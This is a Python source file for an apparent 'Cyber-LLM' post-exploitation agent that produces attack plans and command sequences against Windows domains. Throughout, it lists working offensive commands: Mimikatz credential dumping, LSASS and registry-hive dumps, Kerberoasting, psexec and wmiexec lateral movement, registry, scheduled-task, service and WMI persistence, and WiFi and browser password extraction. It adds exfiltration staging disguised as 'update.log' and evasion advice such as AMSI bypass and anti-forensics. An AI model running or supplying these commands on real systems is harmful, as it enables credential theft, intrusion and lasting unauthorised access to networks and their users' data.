""" Cyber-LLM Post-Exploitation Agent Handles credential harvesting, lateral movement, and persistence operations. Integrates with Mimikatz, BloodHound, and post-exploitation frameworks. Author: Muzan Sano Email: sanosensei36@gmail.com """ import json import logging import subprocess from typing import Dict, List, Any, Optional from dataclasses import dataclass from pydantic import BaseModel import yaml from datetime import datetime # Configure logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) class PostExploitRequest(BaseModel): target_system: str access_level: str # "user", "admin", "system" objectives: List[str] constraints: Dict[str, Any] stealth_mode: bool = True class PostExploitResponse(BaseModel): credential_harvest: Dict[str, Any] lateral_movement: Dict[str, Any] persistence: Dict[str, Any] exfiltration: Dict[str, Any] command_sequence: List[str] risk_assessment: Dict[str, Any] class PostExploitAgent: """ Advanced post-exploitation agent for credential harvesting, lateral movement, and persistence establishment. """ def __init__(self, config_path: Optional[str] = None): self.config = self._load_config(config_path) self.techniques = self._load_techniques() self.persistence_methods = self._load_persistence_methods() def _load_config(self, config_path: Optional[str]) -> Dict[str, Any]: """Load post-exploitation configuration.""" if config_path: with open(config_path, 'r') as f: return yaml.safe_load(f) return { "max_execution_time": 3600, "cleanup_on_exit": True, "log_operations": True } def _load_techniques(self) -> Dict[str, Any]: """Load post-exploitation techniques database.""" return { "credential_harvest": { "mimikatz": { "technique": "T1003.001", "commands": [ "privilege::debug", "sekurlsa::logonpasswords", "sekurlsa::wdigest", "sekurlsa::kerberos", "sekurlsa::tspkg" ], "detection_risk": "high", "requirements": ["admin_rights", "debug_privilege"] }, "lsass_dump": { "technique": "T1003.001", "commands": [ "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump [PID] C:\\temp\\lsass.dmp full", "reg save HKLM\\sam C:\\temp\\sam.hive", "reg save HKLM\\security C:\\temp\\security.hive", "reg save HKLM\\system C:\\temp\\system.hive" ], "detection_risk": "medium", "requirements": ["admin_rights"] }, "kerberoasting": { "technique": "T1558.003", "commands": [ "powershell -ep bypass", "Import-Module .\\PowerView.ps1", "Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat", "Invoke-Kerberoast -OutputFormat HashCat" ], "detection_risk": "low", "requirements": ["domain_user"] } }, "lateral_movement": { "psexec": { "technique": "T1021.002", "command_template": "psexec.exe \\\\{target} -u {domain}\\{user} -p {password} cmd.exe", "detection_risk": "high", "requirements": ["admin_creds", "smb_access"] }, "wmiexec": { "technique": "T1047", "command_template": "wmiexec.py {domain}/{user}:{password}@{target}", "detection_risk": "medium", "requirements": ["admin_creds", "wmi_access"] }, "rdp": { "technique": "T1021.001", "commands": [ "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f", "netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes" ], "detection_risk": "medium", "requirements": ["admin_rights"] } }, "privilege_escalation": { "uac_bypass": { "technique": "T1548.002", "methods": ["fodhelper", "computerdefaults", "sdclt"], "detection_risk": "low" }, "token_impersonation": { "technique": "T1134", "commands": [ "list tokens", "impersonate_token {token}", "getuid" ], "detection_risk": "medium" } } } def _load_persistence_methods(self) -> Dict[str, Any]: """Load persistence techniques.""" return { "registry_run_keys": { "technique": "T1547.001", "commands": [ "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {name} /t REG_SZ /d {payload_path}", "reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {name} /t REG_SZ /d {payload_path}" ], "detection_risk": "medium", "cleanup": "reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {name} /f" }, "scheduled_task": { "technique": "T1053.005", "commands": [ "schtasks /create /tn {task_name} /tr {payload_path} /sc onlogon /ru system", "schtasks /run /tn {task_name}" ], "detection_risk": "low", "cleanup": "schtasks /delete /tn {task_name} /f" }, "service_creation": { "technique": "T1543.003", "commands": [ "sc create {service_name} binpath= {payload_path} start= auto", "sc start {service_name}" ], "detection_risk": "high", "cleanup": "sc delete {service_name}" }, "wmi_event": { "technique": "T1546.003", "commands": [ "powershell -c \"Register-WmiEvent -Query \\\"SELECT * FROM Win32_LogonSession\\\" -Action { Start-Process {payload_path} }\"" ], "detection_risk": "low", "cleanup": "powershell -c \"Get-WmiEvent | Unregister-Event\"" } } def analyze_bloodhound_data(self, bloodhound_json: Optional[str] = None) -> Dict[str, Any]: """ Analyze BloodHound data for lateral movement opportunities. # HUMAN_APPROVAL_REQUIRED: Review lateral movement paths before execution """ # Simulated BloodHound analysis (in practice, would parse actual data) analysis = { "high_value_targets": [ {"name": "DC01.domain.local", "type": "Domain Controller", "priority": 1}, {"name": "SQL01.domain.local", "type": "Database Server", "priority": 2}, {"name": "FILE01.domain.local", "type": "File Server", "priority": 3} ], "attack_paths": [ { "path": "Current User -> Domain Admins", "steps": [ "Kerberoast service accounts", "Crack obtained hashes", "Move to SQL01 with service account", "Escalate via SQLi to SYSTEM", "Extract cached domain admin credentials" ], "difficulty": "medium", "detection_risk": "medium" } ], "vulnerable_accounts": [ {"name": "svc-sql", "type": "Service Account", "spn": True, "admin": False}, {"name": "backup-svc", "type": "Service Account", "spn": True, "admin": True} ], "group_memberships": { "domain_admins": ["administrator", "da-backup"], "server_operators": ["svc-backup", "svc-sql"], "account_operators": ["helpdesk1", "helpdesk2"] } } return analysis def plan_credential_harvest(self, access_level: str, stealth_mode: bool) -> Dict[str, Any]: """Plan credential harvesting operations based on access level.""" harvest_plan = { "primary_techniques": [], "secondary_techniques": [], "stealth_considerations": [], "detection_risks": [] } if access_level in ["admin", "system"]: # High privilege techniques if stealth_mode: harvest_plan["primary_techniques"].extend([ self.techniques["credential_harvest"]["lsass_dump"], self.techniques["credential_harvest"]["kerberoasting"] ]) harvest_plan["stealth_considerations"].extend([ "Use process hollowing to avoid direct Mimikatz execution", "Implement AMSI bypass techniques", "Use legitimate admin tools where possible" ]) else: harvest_plan["primary_techniques"].append( self.techniques["credential_harvest"]["mimikatz"] ) else: # User-level techniques harvest_plan["primary_techniques"].append( self.techniques["credential_harvest"]["kerberoasting"] ) harvest_plan["secondary_techniques"].extend([ { "technique": "Browser Credential Extraction", "commands": ["powershell -c \"Get-ChromePasswords\""], "detection_risk": "low" }, { "technique": "WiFi Password Extraction", "commands": ["netsh wlan show profiles", "netsh wlan show profile {profile} key=clear"], "detection_risk": "very_low" } ]) return harvest_plan def plan_lateral_movement(self, bloodhound_analysis: Dict[str, Any], credentials: List[Dict[str, Any]]) -> Dict[str, Any]: """Plan lateral movement strategy based on BloodHound analysis and available credentials.""" movement_plan = { "target_systems": [], "movement_techniques": [], "escalation_path": [], "operational_notes": [] } # Prioritize targets for target in bloodhound_analysis["high_value_targets"]: movement_plan["target_systems"].append({ "hostname": target["name"], "priority": target["priority"], "access_methods": ["wmiexec", "psexec", "rdp"], "required_creds": "admin" }) # Select movement techniques based on available credentials if any(cred.get("admin", False) for cred in credentials): movement_plan["movement_techniques"].extend([ self.techniques["lateral_movement"]["wmiexec"], self.techniques["lateral_movement"]["psexec"] ]) else: movement_plan["movement_techniques"].append({ "technique": "T1021.004", "name": "SSH Lateral Movement", "command_template": "ssh {user}@{target}", "detection_risk": "low" }) # Plan escalation path for path in bloodhound_analysis["attack_paths"]: movement_plan["escalation_path"].append({ "path_name": path["path"], "steps": path["steps"], "estimated_time": "2-4 hours", "required_tools": ["PowerView", "Invoke-Kerberoast", "Hashcat"] }) return movement_plan def plan_persistence(self, access_level: str, stealth_mode: bool) -> Dict[str, Any]: """Plan persistence mechanisms based on access level and stealth requirements.""" persistence_plan = { "primary_methods": [], "backup_methods": [], "cleanup_commands": [], "monitoring_evasion": [] } if access_level in ["admin", "system"]: if stealth_mode: # Stealthy high-privilege persistence persistence_plan["primary_methods"].extend([ self.persistence_methods["wmi_event"], self.persistence_methods["scheduled_task"] ]) else: # Standard high-privilege persistence persistence_plan["primary_methods"].extend([ self.persistence_methods["service_creation"], self.persistence_methods["registry_run_keys"] ]) else: # User-level persistence persistence_plan["primary_methods"].append( self.persistence_methods["registry_run_keys"] ) # Add cleanup commands for method in persistence_plan["primary_methods"]: if "cleanup" in method: persistence_plan["cleanup_commands"].append(method["cleanup"]) return persistence_plan def assess_detection_risk(self, operations: List[Dict[str, Any]]) -> Dict[str, Any]: """Assess overall detection risk of planned operations.""" risk_levels = {"very_low": 1, "low": 2, "medium": 3, "high": 4, "very_high": 5} total_risk = 0 operation_count = 0 high_risk_operations = [] for operation in operations: if "detection_risk" in operation: risk_score = risk_levels.get(operation["detection_risk"], 3) total_risk += risk_score operation_count += 1 if risk_score >= 4: high_risk_operations.append(operation.get("name", "Unknown Operation")) average_risk = total_risk / max(operation_count, 1) risk_assessment = { "overall_risk_score": average_risk, "risk_level": "HIGH" if average_risk >= 3.5 else "MEDIUM" if average_risk >= 2.5 else "LOW", "high_risk_operations": high_risk_operations, "recommendations": [] } if average_risk >= 3.5: risk_assessment["recommendations"].extend([ "Consider using living-off-the-land techniques", "Implement anti-forensics measures", "Use process hollowing and injection techniques", "Rotate tools and techniques frequently" ]) return risk_assessment def execute_post_exploitation(self, request: PostExploitRequest) -> PostExploitResponse: """ Execute complete post-exploitation workflow. # HUMAN_APPROVAL_REQUIRED: Review post-exploitation plan before execution """ logger.info(f"Starting post-exploitation on {request.target_system}") # Analyze BloodHound data bloodhound_analysis = self.analyze_bloodhound_data() # Plan operations credential_harvest = self.plan_credential_harvest(request.access_level, request.stealth_mode) # Simulate credentials (in practice, would come from harvest) mock_credentials = [ {"username": "svc-sql", "password": "Service123!", "domain": "domain.local", "admin": False}, {"username": "backup-svc", "password": "Backup456!", "domain": "domain.local", "admin": True} ] lateral_movement = self.plan_lateral_movement(bloodhound_analysis, mock_credentials) persistence = self.plan_persistence(request.access_level, request.stealth_mode) # Generate command sequence command_sequence = [] # Credential harvest commands for technique in credential_harvest["primary_techniques"]: command_sequence.extend(technique.get("commands", [])) # Lateral movement commands for technique in lateral_movement["movement_techniques"]: if "command_template" in technique: command_sequence.append(f"# {technique.get('name', 'Lateral Movement')}") command_sequence.append(technique["command_template"]) # Persistence commands for method in persistence["primary_methods"]: command_sequence.extend(method.get("commands", [])) # Risk assessment all_operations = (credential_harvest["primary_techniques"] + lateral_movement["movement_techniques"] + persistence["primary_methods"]) risk_assessment = self.assess_detection_risk(all_operations) # Exfiltration planning exfiltration = { "methods": ["DNS tunneling", "HTTPS upload", "Email exfiltration"], "targets": [ "C:\\Users\\*\\Documents\\*.doc*", "C:\\Users\\*\\Desktop\\*.pdf", "Registry hives", "Browser saved passwords" ], "staging_location": "C:\\Windows\\Temp\\update.log", "encryption": "AES-256", "compression": True } response = PostExploitResponse( credential_harvest=credential_harvest, lateral_movement=lateral_movement, persistence=persistence, exfiltration=exfiltration, command_sequence=command_sequence, risk_assessment=risk_assessment ) logger.info(f"Post-exploitation plan complete for {request.target_system}") return response def main(): """CLI interface for PostExploitAgent.""" import argparse parser = argparse.ArgumentParser(description="Cyber-LLM Post-Exploitation Agent") parser.add_argument("--target", required=True, help="Target system identifier") parser.add_argument("--access-level", choices=["user", "admin", "system"], default="user", help="Current access level") parser.add_argument("--objectives", nargs="+", default=["credential_harvest", "lateral_movement"], help="Post-exploitation objectives") parser.add_argument("--stealth", action="store_true", help="Enable stealth mode") parser.add_argument("--config", help="Path to configuration file") parser.add_argument("--output", help="Output file for results") args = parser.parse_args() # Initialize agent agent = PostExploitAgent(config_path=args.config) # Create request request = PostExploitRequest( target_system=args.target, access_level=args.access_level, objectives=args.objectives, constraints={}, stealth_mode=args.stealth ) # Execute post-exploitation response = agent.execute_post_exploitation(request) # Output results result = { "target": args.target, "credential_harvest": response.credential_harvest, "lateral_movement": response.lateral_movement, "persistence": response.persistence, "exfiltration": response.exfiltration, "command_sequence": response.command_sequence, "risk_assessment": response.risk_assessment } if args.output: with open(args.output, 'w') as f: json.dump(result, f, indent=2) print(f"Post-exploitation plan saved to {args.output}") else: print(json.dumps(result, indent=2)) if __name__ == "__main__": main()